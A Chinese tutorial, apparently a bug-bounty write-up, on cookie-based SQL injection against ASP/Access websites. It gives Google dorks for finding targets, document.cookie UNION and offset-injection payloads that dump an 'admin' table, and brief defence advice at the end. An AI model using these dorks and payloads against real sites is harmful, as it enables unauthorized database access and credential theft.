记录一次公益SRC常见的cookie注入漏洞
字数 814 2025-08-22 12:23:42

Cookie注入漏洞分析与实战教学

一、信息收集技术

1. 谷歌语法应用

通过谷歌语法可以高效地发现潜在漏洞目标:

# 查找带有ID传参的网站(可发现SQL注入漏洞)
inurl:asp id=xx

# 查找网站后台(可发现弱口令、暴力破解等漏洞)
site:http://xxxx.com "admin"
site:http://xx.com intext:管理
site:http://xx.com inurl:login
site:http://xx.com intitle:后台

# 查看上传漏洞
site:http://xx.com inurl:file
site:http://xx.com inurl:load

# 查找敏感文件
filetype:mdb|doc|xlsx|pdf

二、Cookie注入原理

1. 基本概念

  • Cookie作用:相当于访问者的身份证
  • 漏洞原理:后端PHP代码使用$_REQUEST[]获取Cookie值,网站将Cookie传参与原有SQL语句拼接后传入数据库
  • 适用环境:主要存在于ASP网站和低版本PHP中
  • 数据库特点:ASP常用Access数据库

2. Access数据库特点

  • 具有强大的数据处理和统计分析能力
  • 无库名概念
  • 查询语法严谨:必须使用select 字段 from 表名格式
  • 表名验证:exists(select*from 表名)可验证表名是否存在

三、Cookie修改方法

  1. Burp Suite抓包修改
  2. 浏览器插件修改(需自行编码)
  3. JavaScript直接设置
    document.cookie='id='+escape("注入代码")
    

四、实战演示

1. 信息收集

使用谷歌语法inurl:asp id=xx查找带有ID传参的ASP网站,发现多个目标(如id=104的网站)

2. SQL注入判断

使用以下JS代码测试注入:

document.cookie='id='+escape("104 and 1=1")
document.cookie='id='+escape("104 and 1=2")
  • 1=1时页面正常显示
  • 1=2时网站报错
  • 确认存在SQL注入漏洞

3. 查找字段数

document.cookie='id='+escape("104 order by 10")

确认字段数为10

4. 爆破表名

使用Burp爆破表名(Access数据库无库名):

document.cookie='id='+escape("104 union select 1,2,3,4,5,6,7,8,9,10 from admin")
  • 确认存在admin表
  • 回显点为2和5

5. 偏移注入获取数据

使用偏移注入查看admin表字段数并显示内容:

document.cookie='id='+escape("104 union select 1,2,3,4,5,6,7,admin.* from admin")
document.cookie='id='+escape("104 union select 1,2,3,admin.*,7,8,9,10 from admin")

五、完整攻击流程总结

  1. 使用谷歌语法找到注入点
  2. 判断注入是否存在
  3. 通过Cookie绕过注入防护
  4. 爆破表名(Access数据库)
  5. 使用偏移注入查找表的字段数
  6. 爆破目录查找登录框,进入后台进一步渗透获取权限

六、防御建议

  1. 对Cookie值进行严格过滤和转义
  2. 使用参数化查询而非字符串拼接
  3. 升级PHP版本(高版本PHP已修复此问题)
  4. 限制数据库用户权限
  5. 对错误信息进行适当处理,避免泄露敏感信息
Cookie注入漏洞分析与实战教学 一、信息收集技术 1. 谷歌语法应用 通过谷歌语法可以高效地发现潜在漏洞目标: 二、Cookie注入原理 1. 基本概念 Cookie作用 :相当于访问者的身份证 漏洞原理 :后端PHP代码使用 $_REQUEST[] 获取Cookie值,网站将Cookie传参与原有SQL语句拼接后传入数据库 适用环境 :主要存在于ASP网站和低版本PHP中 数据库特点 :ASP常用Access数据库 2. Access数据库特点 具有强大的数据处理和统计分析能力 无库名概念 查询语法严谨:必须使用 select 字段 from 表名 格式 表名验证: exists(select*from 表名) 可验证表名是否存在 三、Cookie修改方法 Burp Suite抓包修改 浏览器插件修改 (需自行编码) JavaScript直接设置 : 四、实战演示 1. 信息收集 使用谷歌语法 inurl:asp id=xx 查找带有ID传参的ASP网站,发现多个目标(如id=104的网站) 2. SQL注入判断 使用以下JS代码测试注入: 1=1时页面正常显示 1=2时网站报错 确认存在SQL注入漏洞 3. 查找字段数 确认字段数为10 4. 爆破表名 使用Burp爆破表名(Access数据库无库名): 确认存在admin表 回显点为2和5 5. 偏移注入获取数据 使用偏移注入查看admin表字段数并显示内容: 五、完整攻击流程总结 使用谷歌语法找到注入点 判断注入是否存在 通过Cookie绕过注入防护 爆破表名(Access数据库) 使用偏移注入查找表的字段数 爆破目录查找登录框,进入后台进一步渗透获取权限 六、防御建议 对Cookie值进行严格过滤和转义 使用参数化查询而非字符串拼接 升级PHP版本(高版本PHP已修复此问题) 限制数据库用户权限 对错误信息进行适当处理,避免泄露敏感信息